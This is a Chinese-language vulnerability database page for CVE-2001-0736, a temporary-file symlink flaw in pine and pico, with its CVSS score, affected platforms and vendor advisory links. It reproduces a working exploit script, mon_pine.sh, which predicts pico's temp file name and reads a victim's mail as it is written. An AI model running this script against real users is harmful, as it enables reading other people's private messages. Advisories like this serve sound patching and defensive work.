CVE-2001-0736
CVSS2.1
发布时间 :2001-10-18 00:00:00
修订时间 :2016-10-17 22:11:52
NMCOE    

[原文]Vulnerability in (1) pine before 4.33 and (2) the pico editor, included with pine, allows local users local users to overwrite arbitrary files via a symlink attack.


[CNNVD]pine和pico编辑器任意文件覆盖漏洞(CNNVD-200110-103)

        (1)pine 4.33之前版本和(2)pico编辑器,含带pine的,存在漏洞。本地用户可以借助符号连接攻击覆盖任意文件。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:immunix:immunix:6.2
cpe:/o:redhat:linux:5.2Red Hat Linux 5.2
cpe:/o:redhat:linux:7.0Red Hat Linux 7.0
cpe:/a:immunix:immunix:7.0
cpe:/o:redhat:linux:6.2Red Hat Linux 6.2
cpe:/o:mandrakesoft:mandrake_linux:7.2MandrakeSoft Mandrake Linux 7.2
cpe:/a:immunix:immunix:7.0_beta
cpe:/o:mandrakesoft:mandrake_linux:7.1MandrakeSoft Mandrake Linux 7.1
cpe:/o:mandrakesoft:mandrake_linux:8.0MandrakeSoft Mandrake Linux 8.0
cpe:/o:mandrakesoft:mandrake_linux_corporate_server:1.0.1MandrakeSoft Mandrake Linux Corporate Server 1.0.1
cpe:/a:university_of_washington:pine:4.33
cpe:/o:engardelinux:secure_linux:1.0.1Engarde Secure Linux 1.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0736
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0736
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200110-103
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=98749102621604&w=2
(UNKNOWN)  BUGTRAQ  20010416 Immunix OS Security update for pine
http://marc.info/?l=bugtraq&m=99106787825229&w=2
(UNKNOWN)  BUGTRAQ  20010527 [ESA-20010509-01] pine temporary file handling vulnerabilities
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-047.php3?dis=8.0
(VENDOR_ADVISORY)  MANDRAKE  MDKSA-2001:047
http://www.redhat.com/support/errata/RHSA-2001-042.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2001:042
http://xforce.iss.net/static/6367.php
(VENDOR_ADVISORY)  XF  pine-tmp-file-symlink(6367)

- 漏洞信息

pine和pico编辑器任意文件覆盖漏洞
低危 未知
2001-10-18 00:00:00 2006-09-15 00:00:00
本地  
        (1)pine 4.33之前版本和(2)pico编辑器,含带pine的,存在漏洞。本地用户可以借助符号连接攻击覆盖任意文件。

- 公告与补丁

        

- 漏洞信息 (20493)

University of Washington Pico 3.x/4.x File Overwrite Vulnerability (EDBID:20493)
linux local
2000-12-11 Verified
0 Mat
N/A [点击下载]
source: http://www.securityfocus.com/bid/2097/info

A vulnerability exists in several versions of University of Washington's Pico, a widely-distributed text editor shipped with most versions of Linux / Unix.

Under very specific circumstances, it is possible to cause this version of Pico to overwrite arbitrary files with the privilege level of the victim user.

As a result, if the attacker is able to correctly predict the name of the editor's temporary file, the current contents of the editor can be written to key system files or other data to which the user has write privileges. Depending on the user's privilege level, this could have a range of negative impacts on the host's security and operation.

Versions 3.8 and 4.3 of Pico have been confirmed vulnerable. Other versions are likely affected as well.

Note that, because the popular mail client Pine uses Pico as its editor, Pine is also vulnerable to this issue.

--------------------mon_pine.sh start--------------------------------
#!/bin/sh
# Grab local pine messages
# Usage: ./mon_pine.sh <pid of pine process>
# victim pine must use following settings
#
#  mat@hacksware.com
#  http://hacksware.com
#
# [x]  enable-alternate-editor-cmd
# [x]  enable-alternate-editor-implicitly
# editor                   = /usr/bin/vi
#

PID=$1
PICO_FILE=`printf "/tmp/pico.%.6d" $PID`
TRASHCAN=/tmp/.trashcan.`date|sed "s/ //g"`
echo PICO_FILE is $PICO_FILE

#if $PICO_FILE and $TRASHCAN exists, remove them
if test -f $PICO_FILE
then
 rm -f $PICO_FILE
fi
if test -f $TRASHCAN
then
 rm -f $TRASHCAN
fi

ln -s $TRASHCAN $PICO_FILE
while :
do
 if test -f $TRASHCAN
 then
  break
 fi
done

echo Victim is Editing Pine Message
rm -f $PICO_FILE
echo We replace temporary file
touch $PICO_FILE
chmod 777 $PICO_FILE
echo "Get the message from "$PICO_FILE
echo "^C to break tailer"
tail -f $PICO_FILE
--------------------mon_pine.sh end  --------------------------------
		

- 漏洞信息

11765
pico Temporary File Name Prediction Symlink Arbitrary File Overwrite
Local Access Required Race Condition
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified, Uncoordinated Disclosure

- 漏洞描述

pico contains a flaw that may allow a malicious local user to overwrite arbitrary files on the system. The issue is due to the program predictably creating temporary file names. It is possible for a local attacker to use a symlink attack against the mon_pine.sh file to cause the program to unexpectedly write to, or overwrite an attacker specified file.

- 时间线

2000-12-11 Unknow
2000-12-11 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Multiple vendors have released a patch to address this vulnerability. Check the vendor advisory or solution in the references section.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站